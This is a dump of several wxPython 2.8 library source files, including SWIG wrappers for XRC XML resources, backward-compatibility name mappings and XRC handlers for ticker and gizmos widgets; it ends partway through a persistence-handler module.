_xrc.XmlDocument_Load(*args, **kwargs)\n\n def LoadFromStream(*args, **kwargs):\n \"\"\"LoadFromStream(self, InputStream stream, String encoding=UTF8String, int flags=XMLDOC_NONE) -> bool\"\"\"\n return _xrc.XmlDocument_LoadFromStream(*args, **kwargs)\n\n def Save(*args, **kwargs):\n \"\"\"Save(self, String filename, int indentstep=1) -> bool\"\"\"\n return _xrc.XmlDocument_Save(*args, **kwargs)\n\n def SaveToStream(*args, **kwargs):\n \"\"\"SaveToStream(self, wxOutputStream stream, int indentstep=1) -> bool\"\"\"\n return _xrc.XmlDocument_SaveToStream(*args, **kwargs)\n\n def IsOk(*args, **kwargs):\n \"\"\"IsOk(self) -> bool\"\"\"\n return _xrc.XmlDocument_IsOk(*args, **kwargs)\n\n def GetRoot(*args, **kwargs):\n \"\"\"GetRoot(self) -> XmlNode\"\"\"\n return _xrc.XmlDocument_GetRoot(*args, **kwargs)\n\n def GetVersion(*args, **kwargs):\n \"\"\"GetVersion(self) -> String\"\"\"\n return _xrc.XmlDocument_GetVersion(*args, **kwargs)\n\n def GetFileEncoding(*args, **kwargs):\n \"\"\"GetFileEncoding(self) -> String\"\"\"\n return _xrc.XmlDocument_GetFileEncoding(*args, **kwargs)\n\n def DetachRoot(*args, **kwargs):\n \"\"\"DetachRoot(self) -> XmlNode\"\"\"\n return _xrc.XmlDocument_DetachRoot(*args, **kwargs)\n\n def SetRoot(*args, **kwargs):\n \"\"\"SetRoot(self, XmlNode node)\"\"\"\n return _xrc.XmlDocument_SetRoot(*args, **kwargs)\n\n def SetVersion(*args, **kwargs):\n \"\"\"SetVersion(self, String version)\"\"\"\n return _xrc.XmlDocument_SetVersion(*args, **kwargs)\n\n def SetFileEncoding(*args, **kwargs):\n \"\"\"SetFileEncoding(self, String encoding)\"\"\"\n return _xrc.XmlDocument_SetFileEncoding(*args, **kwargs)\n\n FileEncoding = property(GetFileEncoding,SetFileEncoding,doc=\"See `GetFileEncoding` and `SetFileEncoding`\") \n Root = property(GetRoot,SetRoot,doc=\"See `GetRoot` and `SetRoot`\") \n Version = property(GetVersion,SetVersion,doc=\"See `GetVersion` and `SetVersion`\") \n_xrc.XmlDocument_swigregister(XmlDocument)\n\ndef XmlDocumentFromStream(*args, **kwargs):\n \"\"\"XmlDocumentFromStream(InputStream stream, String encoding=UTF8String) -> XmlDocument\"\"\"\n val = _xrc.new_XmlDocumentFromStream(*args, **kwargs)\n return val\n\ndef EmptyXmlDocument(*args, **kwargs):\n \"\"\"EmptyXmlDocument() -> XmlDocument\"\"\"\n val = _xrc.new_EmptyXmlDocument(*args, **kwargs)\n return val\n\n#---------------------------------------------------------------------------\n\nclass XmlResourceHandler(_core.Object):\n \"\"\"Proxy of C++ XmlResourceHandler class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self) -> XmlResourceHandler\"\"\"\n _xrc.XmlResourceHandler_swiginit(self,_xrc.new_XmlResourceHandler(*args, **kwargs))\n XmlResourceHandler._setCallbackInfo(self, self, XmlResourceHandler)\n\n __swig_destroy__ = _xrc.delete_XmlResourceHandler\n __del__ = lambda self : None;\n def _setCallbackInfo(*args, **kwargs):\n \"\"\"_setCallbackInfo(self, PyObject self, PyObject _class)\"\"\"\n return _xrc.XmlResourceHandler__setCallbackInfo(*args, **kwargs)\n\n def CreateResource(*args, **kwargs):\n \"\"\"CreateResource(self, XmlNode node, Object parent, Object instance) -> Object\"\"\"\n return _xrc.XmlResourceHandler_CreateResource(*args, **kwargs)\n\n def SetParentResource(*args, **kwargs):\n \"\"\"SetParentResource(self, XmlResource res)\"\"\"\n return _xrc.XmlResourceHandler_SetParentResource(*args, **kwargs)\n\n def GetResource(*args, **kwargs):\n \"\"\"GetResource(self) -> XmlResource\"\"\"\n return _xrc.XmlResourceHandler_GetResource(*args, **kwargs)\n\n def GetNode(*args, **kwargs):\n \"\"\"GetNode(self) -> XmlNode\"\"\"\n return _xrc.XmlResourceHandler_GetNode(*args, **kwargs)\n\n def GetClass(*args, **kwargs):\n \"\"\"GetClass(self) -> String\"\"\"\n return _xrc.XmlResourceHandler_GetClass(*args, **kwargs)\n\n def GetParent(*args, **kwargs):\n \"\"\"GetParent(self) -> Object\"\"\"\n return _xrc.XmlResourceHandler_GetParent(*args, **kwargs)\n\n def GetInstance(*args, **kwargs):\n \"\"\"GetInstance(self) -> Object\"\"\"\n return _xrc.XmlResourceHandler_GetInstance(*args, **kwargs)\n\n def GetParentAsWindow(*args, **kwargs):\n \"\"\"GetParentAsWindow(self) -> Window\"\"\"\n return _xrc.XmlResourceHandler_GetParentAsWindow(*args, **kwargs)\n\n def IsOfClass(*args, **kwargs):\n \"\"\"IsOfClass(self, XmlNode node, String classname) -> bool\"\"\"\n return _xrc.XmlResourceHandler_IsOfClass(*args, **kwargs)\n\n def GetNodeContent(*args, **kwargs):\n \"\"\"GetNodeContent(self, XmlNode node) -> String\"\"\"\n return _xrc.XmlResourceHandler_GetNodeContent(*args, **kwargs)\n\n def HasParam(*args, **kwargs):\n \"\"\"HasParam(self, String param) -> bool\"\"\"\n return _xrc.XmlResourceHandler_HasParam(*args, **kwargs)\n\n def GetParamNode(*args, **kwargs):\n \"\"\"GetParamNode(self, String param) -> XmlNode\"\"\"\n return _xrc.XmlResourceHandler_GetParamNode(*args, **kwargs)\n\n def GetParamValue(*args, **kwargs):\n \"\"\"GetParamValue(self, String param) -> String\"\"\"\n return _xrc.XmlResourceHandler_GetParamValue(*args, **kwargs)\n\n def AddStyle(*args, **kwargs):\n \"\"\"AddStyle(self, String name, int value)\"\"\"\n return _xrc.XmlResourceHandler_AddStyle(*args, **kwargs)\n\n def AddWindowStyles(*args, **kwargs):\n \"\"\"AddWindowStyles(self)\"\"\"\n return _xrc.XmlResourceHandler_AddWindowStyles(*args, **kwargs)\n\n def GetStyle(*args, **kwargs):\n \"\"\"GetStyle(self, String param=StyleString, int defaults=0) -> int\"\"\"\n return _xrc.XmlResourceHandler_GetStyle(*args, **kwargs)\n\n def GetText(*args, **kwargs):\n \"\"\"GetText(self, String param, bool translate=True) -> String\"\"\"\n return _xrc.XmlResourceHandler_GetText(*args, **kwargs)\n\n def GetID(*args, **kwargs):\n \"\"\"GetID(self) -> int\"\"\"\n return _xrc.XmlResourceHandler_GetID(*args, **kwargs)\n\n def GetName(*args, **kwargs):\n \"\"\"GetName(self) -> String\"\"\"\n return _xrc.XmlResourceHandler_GetName(*args, **kwargs)\n\n def GetBool(*args, **kwargs):\n \"\"\"GetBool(self, String param, bool defaultv=False) -> bool\"\"\"\n return _xrc.XmlResourceHandler_GetBool(*args, **kwargs)\n\n def GetLong(*args, **kwargs):\n \"\"\"GetLong(self, String param, long defaultv=0) -> long\"\"\"\n return _xrc.XmlResourceHandler_GetLong(*args, **kwargs)\n\n def GetColour(*args, **kwargs):\n \"\"\"GetColour(self, String param) -> Colour\"\"\"\n return _xrc.XmlResourceHandler_GetColour(*args, **kwargs)\n\n def GetSize(*args, **kwargs):\n \"\"\"GetSize(self, String param=SizeString) -> Size\"\"\"\n return _xrc.XmlResourceHandler_GetSize(*args, **kwargs)\n\n def GetPosition(*args, **kwargs):\n \"\"\"GetPosition(self, String param=PosString) -> Point\"\"\"\n return _xrc.XmlResourceHandler_GetPosition(*args, **kwargs)\n\n def GetDimension(*args, **kwargs):\n \"\"\"GetDimension(self, String param, int defaultv=0) -> int\"\"\"\n return _xrc.XmlResourceHandler_GetDimension(*args, **kwargs)\n\n def GetBitmap(*args, **kwargs):\n \"\"\"\n GetBitmap(self, String param=BitmapString, wxArtClient defaultArtClient=wxART_OTHER, \n Size size=DefaultSize) -> Bitmap\n \"\"\"\n return _xrc.XmlResourceHandler_GetBitmap(*args, **kwargs)\n\n def GetIcon(*args, **kwargs):\n \"\"\"\n GetIcon(self, String param=IconString, wxArtClient defaultArtClient=wxART_OTHER, \n Size size=DefaultSize) -> Icon\n \"\"\"\n return _xrc.XmlResourceHandler_GetIcon(*args, **kwargs)\n\n def GetFont(*args, **kwargs):\n \"\"\"GetFont(self, String param=FontString) -> Font\"\"\"\n return _xrc.XmlResourceHandler_GetFont(*args, **kwargs)\n\n def GetAnimation(*args, **kwargs):\n \"\"\"GetAnimation(self, String param=AnimationString) -> wxAnimation\"\"\"\n return _xrc.XmlResourceHandler_GetAnimation(*args, **kwargs)\n\n def SetupWindow(*args, **kwargs):\n \"\"\"SetupWindow(self, Window wnd)\"\"\"\n return _xrc.XmlResourceHandler_SetupWindow(*args, **kwargs)\n\n def CreateChildren(*args, **kwargs):\n \"\"\"CreateChildren(self, Object parent, bool this_hnd_only=False)\"\"\"\n return _xrc.XmlResourceHandler_CreateChildren(*args, **kwargs)\n\n def CreateChildrenPrivately(*args, **kwargs):\n \"\"\"CreateChildrenPrivately(self, Object parent, XmlNode rootnode=None)\"\"\"\n return _xrc.XmlResourceHandler_CreateChildrenPrivately(*args, **kwargs)\n\n def CreateResFromNode(*args, **kwargs):\n \"\"\"CreateResFromNode(self, XmlNode node, Object parent, Object instance=None) -> Object\"\"\"\n return _xrc.XmlResourceHandler_CreateResFromNode(*args, **kwargs)\n\n def GetCurFileSystem(*args, **kwargs):\n \"\"\"GetCurFileSystem(self) -> FileSystem\"\"\"\n return _xrc.XmlResourceHandler_GetCurFileSystem(*args, **kwargs)\n\n Class = property(GetClass,doc=\"See `GetClass`\") \n CurFileSystem = property(GetCurFileSystem,doc=\"See `GetCurFileSystem`\") \n ID = property(GetID,doc=\"See `GetID`\") \n Instance = property(GetInstance,doc=\"See `GetInstance`\") \n Name = property(GetName,doc=\"See `GetName`\") \n Node = property(GetNode,doc=\"See `GetNode`\") \n Parent = property(GetParent,doc=\"See `GetParent`\") \n ParentAsWindow = property(GetParentAsWindow,doc=\"See `GetParentAsWindow`\") \n Resource = property(GetResource,doc=\"See `GetResource`\") \n_xrc.XmlResourceHandler_swigregister(XmlResourceHandler)\n\n#----------------------------------------------------------------------------\n# The global was removed in favor of static accessor functions. This is for\n# backwards compatibility:\n\nTheXmlResource = XmlResource_Get()\n\n\n#----------------------------------------------------------------------------\n# Create a factory for handling the subclass property of the object tag.\n\n\ndef _my_import(name):\n try:\n mod = __import__(name)\n except ImportError:\n import traceback\n print traceback.format_exc()\n raise\n components = name.split('.')\n for comp in components[1:]:\n mod = getattr(mod, comp)\n return mod\n\n\nclass XmlSubclassFactory_Python(XmlSubclassFactory):\n def __init__(self):\n XmlSubclassFactory.__init__(self)\n\n def Create(self, className):\n assert className.find('.') != -1, \"Module name must be specified!\"\n mname = className[:className.rfind('.')]\n cname = className[className.rfind('.')+1:]\n module = _my_import(mname)\n klass = getattr(module, cname)\n inst = klass()\n return inst\n\n\nXmlResource_AddSubclassFactory(XmlSubclassFactory_Python())\n\n#----------------------------------------------------------------------------\n\n\n\n", "id": "8816663", "language": "Python", "matching_score": 7.568615913391113, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/xrc.py" }, { "content": "## This file reverse renames symbols in the wx package to give\n## them their wx prefix again, for backwards compatibility.\n##\n## Generated by BuildRenamers in config.py\n\n# This silly stuff here is so the wxPython.wx module doesn't conflict\n# with the wx package. We need to import modules from the wx package\n# here, then we'll put the wxPython.wx entry back in sys.modules.\nimport sys\n_wx = None\nif sys.modules.has_key('wxPython.wx'):\n _wx = sys.modules['wxPython.wx']\n del sys.modules['wxPython.wx']\n\nimport wx.xrc\n\nsys.modules['wxPython.wx'] = _wx\ndel sys, _wx\n\n\n# Now assign all the reverse-renamed names:\nwxUTF8String = wx.xrc.UTF8String\nwxStyleString = wx.xrc.StyleString\nwxSizeString = wx.xrc.SizeString\nwxPosString = wx.xrc.PosString\nwxBitmapString = wx.xrc.BitmapString\nwxIconString = wx.xrc.IconString\nwxFontString = wx.xrc.FontString\nWX_XMLRES_CURRENT_VERSION_MAJOR = wx.xrc.WX_XMLRES_CURRENT_VERSION_MAJOR\nWX_XMLRES_CURRENT_VERSION_MINOR = wx.xrc.WX_XMLRES_CURRENT_VERSION_MINOR\nWX_XMLRES_CURRENT_VERSION_RELEASE = wx.xrc.WX_XMLRES_CURRENT_VERSION_RELEASE\nWX_XMLRES_CURRENT_VERSION_REVISION = wx.xrc.WX_XMLRES_CURRENT_VERSION_REVISION\nwxXRC_USE_LOCALE = wx.xrc.XRC_USE_LOCALE\nwxXRC_NO_SUBCLASSING = wx.xrc.XRC_NO_SUBCLASSING\nwxXRC_NO_RELOADING = wx.xrc.XRC_NO_RELOADING\nwxXmlResource = wx.xrc.XmlResource\nwxEmptyXmlResource = wx.xrc.EmptyXmlResource\nwxXmlResource_AddSubclassFactory = wx.xrc.XmlResource_AddSubclassFactory\nwxXmlResource_GetXRCID = wx.xrc.XmlResource_GetXRCID\nwxXmlResource_Get = wx.xrc.XmlResource_Get\nwxXmlResource_Set = wx.xrc.XmlResource_Set\nwxXmlSubclassFactory = wx.xrc.XmlSubclassFactory\nwxXmlSubclassFactory = wx.xrc.XmlSubclassFactory\nwxXML_ELEMENT_NODE = wx.xrc.XML_ELEMENT_NODE\nwxXML_ATTRIBUTE_NODE = wx.xrc.XML_ATTRIBUTE_NODE\nwxXML_TEXT_NODE = wx.xrc.XML_TEXT_NODE\nwxXML_CDATA_SECTION_NODE = wx.xrc.XML_CDATA_SECTION_NODE\nwxXML_ENTITY_REF_NODE = wx.xrc.XML_ENTITY_REF_NODE\nwxXML_ENTITY_NODE = wx.xrc.XML_ENTITY_NODE\nwxXML_PI_NODE = wx.xrc.XML_PI_NODE\nwxXML_COMMENT_NODE = wx.xrc.XML_COMMENT_NODE\nwxXML_DOCUMENT_NODE = wx.xrc.XML_DOCUMENT_NODE\nwxXML_DOCUMENT_TYPE_NODE = wx.xrc.XML_DOCUMENT_TYPE_NODE\nwxXML_DOCUMENT_FRAG_NODE = wx.xrc.XML_DOCUMENT_FRAG_NODE\nwxXML_NOTATION_NODE = wx.xrc.XML_NOTATION_NODE\nwxXML_HTML_DOCUMENT_NODE = wx.xrc.XML_HTML_DOCUMENT_NODE\nwxXmlProperty = wx.xrc.XmlProperty\nwxXmlNode = wx.xrc.XmlNode\nwxXmlNodeEasy = wx.xrc.XmlNodeEasy\nwxXmlDocument = wx.xrc.XmlDocument\nwxXmlDocumentFromStream = wx.xrc.XmlDocumentFromStream\nwxEmptyXmlDocument = wx.xrc.EmptyXmlDocument\nwxXmlResourceHandler = wx.xrc.XmlResourceHandler\nwxXmlResourceHandler = wx.xrc.XmlResourceHandler\nXRCID = wx.xrc.XRCID\nXRCCTRL = wx.xrc.XRCCTRL\nwxTheXmlResource = wx.xrc.TheXmlResource\n\n\n", "id": "2295729", "language": "Python", "matching_score": 2.3849713802337646, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wxPython/xrc.py" }, { "content": "#----------------------------------------------------------------------\n# Name: wx.lib.ticker_xrc\n# Purpose: A XRC handler for wx.lib.ticker\n#\n# Author: <NAME>\n#\n# Created: 17-May-2005\n# RCS-ID: $Id: ticker_xrc.py 34119 2005-05-18 00:39:38Z RD $\n# Copyright: (c) 2005 by <NAME>\n# Licence: wxWindows license\n#----------------------------------------------------------------------\n\nimport wx\nimport wx.xrc as xrc\nfrom wx.lib.ticker import Ticker\n\nclass wxTickerXmlHandler(xrc.XmlResourceHandler):\n def __init__(self):\n xrc.XmlResourceHandler.__init__(self)\n self.AddWindowStyles()\n \n def CanHandle(self, node):\n return self.IsOfClass(node, \"wxTicker\")\n \n def DoCreateResource(self):\n t = Ticker(\n self.GetParentAsWindow(),\n self.GetID(),\n pos = self.GetPosition(),\n size = self.GetSize(),\n style=self.GetStyle()\n )\n if self.HasParam(\"text\"):\n t.SetText(self.GetText(\"text\"))\n if self.HasParam(\"start\"):\n if self.GetBool(\"start\"):\n t.Start()\n else:\n t.Stop()\n if self.HasParam(\"ppf\"):\n t.SetPPF(self.GetLong(\"ppf\"))\n if self.HasParam(\"fps\"):\n t.SetFPS(self.GetLong(\"fps\"))\n if self.HasParam(\"direction\"):\n t.SetDirection(self.GetText(\"direction\"))\n \n self.SetupWindow(t) # handles font, bg/fg color\n return t\n\n", "id": "5813196", "language": "Python", "matching_score": 3.6239352226257324, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/ticker_xrc.py" }, { "content": "# Name: gizmos.py\n# Purpose: XML handlers for wx.gismos classes\n# Author: <NAME> <<EMAIL>>\n# Created: 09.07.2007\n# RCS-ID: $Id$\n\nimport wx\nimport wx.xrc as xrc\nimport wx.gizmos as gizmos\n\nclass LEDNumberCtrlXmlHandler(xrc.XmlResourceHandler):\n def __init__(self):\n xrc.XmlResourceHandler.__init__(self)\n # Standard styles\n self.AddWindowStyles()\n # Custom styles\n self.AddStyle('wxLED_ALIGN_LEFT', gizmos.LED_ALIGN_LEFT)\n self.AddStyle('wxLED_ALIGN_RIGHT', gizmos.LED_ALIGN_RIGHT)\n self.AddStyle('wxLED_ALIGN_CENTER', gizmos.LED_ALIGN_CENTER)\n self.AddStyle('wxLED_DRAW_FADED', gizmos.LED_DRAW_FADED)\n \n def CanHandle(self,node):\n return self.IsOfClass(node, 'LEDNumberCtrl')\n\n # Process XML parameters and create the object\n def DoCreateResource(self):\n assert self.GetInstance() is None\n w = gizmos.LEDNumberCtrl(self.GetParentAsWindow(),\n self.GetID(),\n self.GetPosition(),\n self.GetSize(),\n self.GetStyle())\n # wxLED_ALIGN_MASK was incorrect\n align = self.GetStyle() & 7\n if align: w.SetAlignment(self.GetStyle() & 7)\n w.SetValue(self.GetText('value'))\n self.SetupWindow(w)\n return w\n\n\nclass EditableListBoxXmlHandler(xrc.XmlResourceHandler):\n def __init__(self):\n xrc.XmlResourceHandler.__init__(self)\n # Standard styles\n self.AddWindowStyles()\n # Custom styles\n self.AddStyle('wxEL_ALLOW_NEW', gizmos.EL_ALLOW_NEW)\n self.AddStyle('wxEL_ALLOW_EDIT', gizmos.EL_ALLOW_EDIT)\n self.AddStyle('wxEL_ALLOW_DELETE', gizmos.EL_ALLOW_DELETE)\n \n def CanHandle(self, node):\n return self.IsOfClass(node, 'EditableListBox')\n# return self.IsOfClass(node, 'EditableListBox') or \\\n# self.insideBox and node.GetName() == 'item'\n\n # Process XML parameters and create the object\n def DoCreateResource(self):\n assert self.GetInstance() is None\n \n w = gizmos.EditableListBox(self.GetParentAsWindow(),\n self.GetID(),\n self.GetText(\"label\"),\n self.GetPosition(),\n self.GetSize(),\n self.GetStyle(),\n self.GetName())\n \n # Doesn't work\n #self.insideBox = True\n #self.CreateChildrenPrivately(None, self.GetParamNode('content'))\n #self.insideBox = False\n \n # Long way\n strings = []\n n = self.GetParamNode('content')\n if n: n = n.GetChildren()\n while n:\n if n.GetType() != xrc.XML_ELEMENT_NODE or n.GetName() != \"item\":\n n = n.GetNext()\n continue\n strings.append(n.GetNodeContent())\n n = n.GetNext()\n w.SetStrings(strings)\n self.SetupWindow(w)\n return w\n\n\nclass TreeListCtrlXmlHandler(xrc.XmlResourceHandler):\n def __init__(self):\n xrc.XmlResourceHandler.__init__(self)\n # Standard styles\n self.AddWindowStyles()\n # Custom styles\n self.AddStyle('wxDEFAULT_COL_WIDTH', gizmos.DEFAULT_COL_WIDTH)\n self.AddStyle('wxTL_MODE_NAV_FULLTREE', gizmos.TL_MODE_NAV_FULLTREE)\n self.AddStyle('wxTL_MODE_NAV_EXPANDED', gizmos.TL_MODE_NAV_EXPANDED)\n self.AddStyle('wxTL_MODE_NAV_VISIBLE', gizmos.TL_MODE_NAV_VISIBLE)\n self.AddStyle('wxTL_MODE_NAV_LEVEL', gizmos.TL_MODE_NAV_LEVEL)\n self.AddStyle('wxTL_MODE_FIND_EXACT', gizmos.TL_MODE_FIND_EXACT)\n self.AddStyle('wxTL_MODE_FIND_PARTIAL', gizmos.TL_MODE_FIND_PARTIAL)\n self.AddStyle('wxTL_MODE_FIND_NOCASE', gizmos.TL_MODE_FIND_NOCASE)\n self.AddStyle('wxTREE_HITTEST_ONITEMCOLUMN', gizmos.TREE_HITTEST_ONITEMCOLUMN)\n self.AddStyle('wxTR_COLUMN_LINES', gizmos.TR_COLUMN_LINES)\n self.AddStyle('wxTR_VIRTUAL', gizmos.TR_VIRTUAL)\n self.AddStyle('wxTL_ALIGN_LEFT ', wx.ALIGN_LEFT)\n self.AddStyle('wxTL_ALIGN_RIGHT ', wx.ALIGN_RIGHT)\n self.AddStyle('wxTL_ALIGN_CENTER', wx.ALIGN_CENTER)\n \n self.AddStyle('wxTL_SEARCH_VISIBLE', gizmos.TL_MODE_NAV_VISIBLE)\n self.AddStyle('wxTL_SEARCH_LEVEL ', gizmos.TL_MODE_NAV_LEVEL)\n self.AddStyle('wxTL_SEARCH_FULL ', gizmos.TL_MODE_FIND_EXACT)\n self.AddStyle('wxTL_SEARCH_PARTIAL', gizmos.TL_MODE_FIND_PARTIAL)\n self.AddStyle('wxTL_SEARCH_NOCASE ', gizmos.TL_MODE_FIND_NOCASE)\n\n self.AddStyle('wxTR_DONT_ADJUST_MAC', gizmos.TR_DONT_ADJUST_MAC)\n self.AddStyle('wxTR_DEFAULT_STYLE', wx.TR_DEFAULT_STYLE)\n \n def CanHandle(self, node):\n return self.IsOfClass(node, 'TreeListCtrl')\n\n # Process XML parameters and create the object\n def DoCreateResource(self):\n assert self.GetInstance() is None\n \n w = gizmos.TreeListCtrl(self.GetParentAsWindow(),\n self.GetID(),\n style=self.GetStyle(),\n name=self.GetName())\n w.AddColumn(\"Main column\")\n w.AddColumn('Column 1')\n w.SetMainColumn(0)\n w.SetColumnWidth(0, 50)\n w.SetColumnWidth(1, 50)\n root = w.AddRoot('Root')\n w.SetItemText(root, \"col 1\", 1)\n item1 = w.AppendItem(root, 'item 1')\n w.SetItemText(item1, \"col 1\", 1)\n w.Expand(root)\n return w\n\n\nclass DynamicSashWindowXmlHandler(xrc.XmlResourceHandler):\n def __init__(self):\n xrc.XmlResourceHandler.__init__(self)\n # Standard styles\n self.AddWindowStyles()\n # Custom styles\n self.AddStyle('wxDS_MANAGE_SCROLLBARS', gizmos.DS_MANAGE_SCROLLBARS)\n self.AddStyle('wxDS_DRAG_CORNER', gizmos.DS_DRAG_CORNER)\n \n def CanHandle(self, node):\n return self.IsOfClass(node, 'DynamicSashWindow')\n\n # Process XML parameters and create the object\n def DoCreateResource(self):\n assert self.GetInstance() is None\n \n w = gizmos.DynamicSashWindow(self.GetParentAsWindow(),\n self.GetID(),\n self.GetPosition(),\n self.GetSize(),\n self.GetStyle(),\n self.GetName())\n \n self.SetupWindow(w)\n return w\n\n", "id": "11337093", "language": "Python", "matching_score": 6.3252692222595215, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/XRCed/plugins/xh_gizmos.py" }, { "content": "## This file reverse renames symbols in the wx package to give\n## them their wx prefix again, for backwards compatibility.\n##\n## Generated by BuildRenamers in config.py\n\n# This silly stuff here is so the wxPython.wx module doesn't conflict\n# with the wx package. We need to import modules from the wx package\n# here, then we'll put the wxPython.wx entry back in sys.modules.\nimport sys\n_wx = None\nif sys.modules.has_key('wxPython.wx'):\n _wx = sys.modules['wxPython.wx']\n del sys.modules['wxPython.wx']\n\nimport wx.gizmos\n\nsys.modules['wxPython.wx'] = _wx\ndel sys, _wx\n\n\n# Now assign all the reverse-renamed names:\nwxDynamicSashNameStr = wx.gizmos.DynamicSashNameStr\nwxEditableListBoxNameStr = wx.gizmos.EditableListBoxNameStr\nwxTreeListCtrlNameStr = wx.gizmos.TreeListCtrlNameStr\nwxStaticPictureNameStr = wx.gizmos.StaticPictureNameStr\nwxDS_MANAGE_SCROLLBARS = wx.gizmos.DS_MANAGE_SCROLLBARS\nwxDS_DRAG_CORNER = wx.gizmos.DS_DRAG_CORNER\nwxEVT_DYNAMIC_SASH_SPLIT = wx.gizmos.wxEVT_DYNAMIC_SASH_SPLIT\nwxEVT_DYNAMIC_SASH_UNIFY = wx.gizmos.wxEVT_DYNAMIC_SASH_UNIFY\nwxDynamicSashSplitEvent = wx.gizmos.DynamicSashSplitEvent\nwxDynamicSashUnifyEvent = wx.gizmos.DynamicSashUnifyEvent\nwxDynamicSashWindow = wx.gizmos.DynamicSashWindow\nwxPreDynamicSashWindow = wx.gizmos.PreDynamicSashWindow\nwxEL_ALLOW_NEW = wx.gizmos.EL_ALLOW_NEW\nwxEL_ALLOW_EDIT = wx.gizmos.EL_ALLOW_EDIT\nwxEL_ALLOW_DELETE = wx.gizmos.EL_ALLOW_DELETE\nwxEditableListBox = wx.gizmos.EditableListBox\nwxRemotelyScrolledTreeCtrl = wx.gizmos.RemotelyScrolledTreeCtrl\nwxTreeCompanionWindow = wx.gizmos.TreeCompanionWindow\nwxTreeCompanionWindow = wx.gizmos.TreeCompanionWindow\nwxThinSplitterWindow = wx.gizmos.ThinSplitterWindow\nwxSplitterScrolledWindow = wx.gizmos.SplitterScrolledWindow\nwxLED_ALIGN_LEFT = wx.gizmos.LED_ALIGN_LEFT\nwxLED_ALIGN_RIGHT = wx.gizmos.LED_ALIGN_RIGHT\nwxLED_ALIGN_CENTER = wx.gizmos.LED_ALIGN_CENTER\nwxLED_ALIGN_MASK = wx.gizmos.LED_ALIGN_MASK\nwxLED_DRAW_FADED = wx.gizmos.LED_DRAW_FADED\nwxLEDNumberCtrl = wx.gizmos.LEDNumberCtrl\nwxPreLEDNumberCtrl = wx.gizmos.PreLEDNumberCtrl\nwxTL_ALIGN_LEFT = wx.gizmos.TL_ALIGN_LEFT\nwxTL_ALIGN_RIGHT = wx.gizmos.TL_ALIGN_RIGHT\nwxTL_ALIGN_CENTER = wx.gizmos.TL_ALIGN_CENTER\nwxTREE_HITTEST_ONITEMCOLUMN = wx.gizmos.TREE_HITTEST_ONITEMCOLUMN\nwxTL_SEARCH_VISIBLE = wx.gizmos.TL_SEARCH_VISIBLE\nwxTL_SEARCH_LEVEL = wx.gizmos.TL_SEARCH_LEVEL\nwxTL_SEARCH_FULL = wx.gizmos.TL_SEARCH_FULL\nwxTL_SEARCH_PARTIAL = wx.gizmos.TL_SEARCH_PARTIAL\nwxTL_SEARCH_NOCASE = wx.gizmos.TL_SEARCH_NOCASE\nwxTR_DONT_ADJUST_MAC = wx.gizmos.TR_DONT_ADJUST_MAC\nwxTreeListColumnInfo = wx.gizmos.TreeListColumnInfo\nwxTreeListCtrl = wx.gizmos.TreeListCtrl\nwxTreeListCtrl = wx.gizmos.TreeListCtrl\nwxPreTreeListCtrl = wx.gizmos.PreTreeListCtrl\nwxSCALE_HORIZONTAL = wx.gizmos.SCALE_HORIZONTAL\nwxSCALE_VERTICAL = wx.gizmos.SCALE_VERTICAL\nwxSCALE_UNIFORM = wx.gizmos.SCALE_UNIFORM\nwxSCALE_CUSTOM = wx.gizmos.SCALE_CUSTOM\nwxStaticPicture = wx.gizmos.StaticPicture\nwxPreStaticPicture = wx.gizmos.PreStaticPicture\n\n\nd = globals()\nfor k, v in wx.gizmos.__dict__.iteritems():\n if k.startswith('EVT'):\n d[k] = v\ndel d, k, v\n\n\n\n", "id": "10426830", "language": "Python", "matching_score": 1.3439668416976929, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wxPython/gizmos.py" }, { "content": "\"\"\"\nThis module contains different classes which handle different kind of saving/restoring\nactions depending on the widget kind.\n\"\"\"\n\nimport wx\nimport types\nimport datetime\n\nimport wx.aui\nimport wx.combo\nimport wx.calendar as calendar\nimport wx.gizmos\nimport wx.media\n\nimport wx.lib.scrolledpanel as scrolled\nimport wx.lib.expando as expando\nimport wx.lib.buttons as buttons\nimport wx.lib.masked as masked\nimport wx.lib.colourselect as csel\n\nimport wx.lib.agw.aui as AUI\nimport wx.lib.agw.cubecolourdialog as CCD\nimport wx.lib.agw.customtreectrl as CT\nimport wx.lib.agw.flatmenu as FM\nimport wx.lib.agw.flatnotebook as FNB\nimport wx.lib.agw.floatspin as FS\nimport wx.lib.agw.foldpanelbar as FPB\nimport wx.lib.agw.hypertreelist as HTL\nimport wx.lib.agw.knobctrl as KC\nimport wx.lib.agw.labelbook as LBK\n\ntry:\n import wx.lib.agw.shapedbutton as SB\n hasSB = True\nexcept:\n hasSB = False\n pass\n\nimport wx.lib.agw.ultimatelistctrl as ULC\n\nimport persistencemanager as PM\n\nfrom persist_constants import *\n\n\ndef PyDate2wxDate(date):\n \"\"\"\n Transforms a datetime.date object into a `wx.DateTime` one.\n\n :param `date`: a `datetime.date` object.\n \"\"\"\n \n tt = date.timetuple()\n dmy = (tt[2], tt[1]-1, tt[0])\n return wx.DateTimeFromDMY(*dmy)\n\n\ndef wxDate2PyDate(date):\n \"\"\"\n Transforms a `wx.DateTime` object into a `datetime.date` one.\n\n :param date: a `wx.DateTime` object.\n \"\"\"\n\n if date.IsValid():\n ymd = map(int, date.FormatISODate().split('-'))\n return datetime.date(*ymd)\n else:\n return None\n\n\ndef CreateFont(font):\n \"\"\"\n Returns a tuple of 7 `wx.Font` attributes from the `font` input parameter.\n\n :param `font`: a `wx.Font` instance.\n \"\"\"\n \n return font.GetPointSize(), font.GetFamily(), font.GetStyle(), font.GetWeight(), \\\n font.GetUnderlined(), font.GetFaceName(), font.GetEncoding()\n\n\n# ----------------------------------------------------------------------------------- #\n\nclass AbstractHandler(object):\n \"\"\"\n Base class for persistent windows, uses the window name as persistent name by\n default and automatically reacts to the window destruction.\n\n :note: This is an abstract class. If you wish to add another (custom) handler\n for your widgets, you should derive from L{AbstractHandler} and override\n the L{AbstractHandler.Save}, L{AbstractHandler.Restore} and L{AbstractHandler.GetKind}\n methods.\n \"\"\"\n \n def __init__(self, 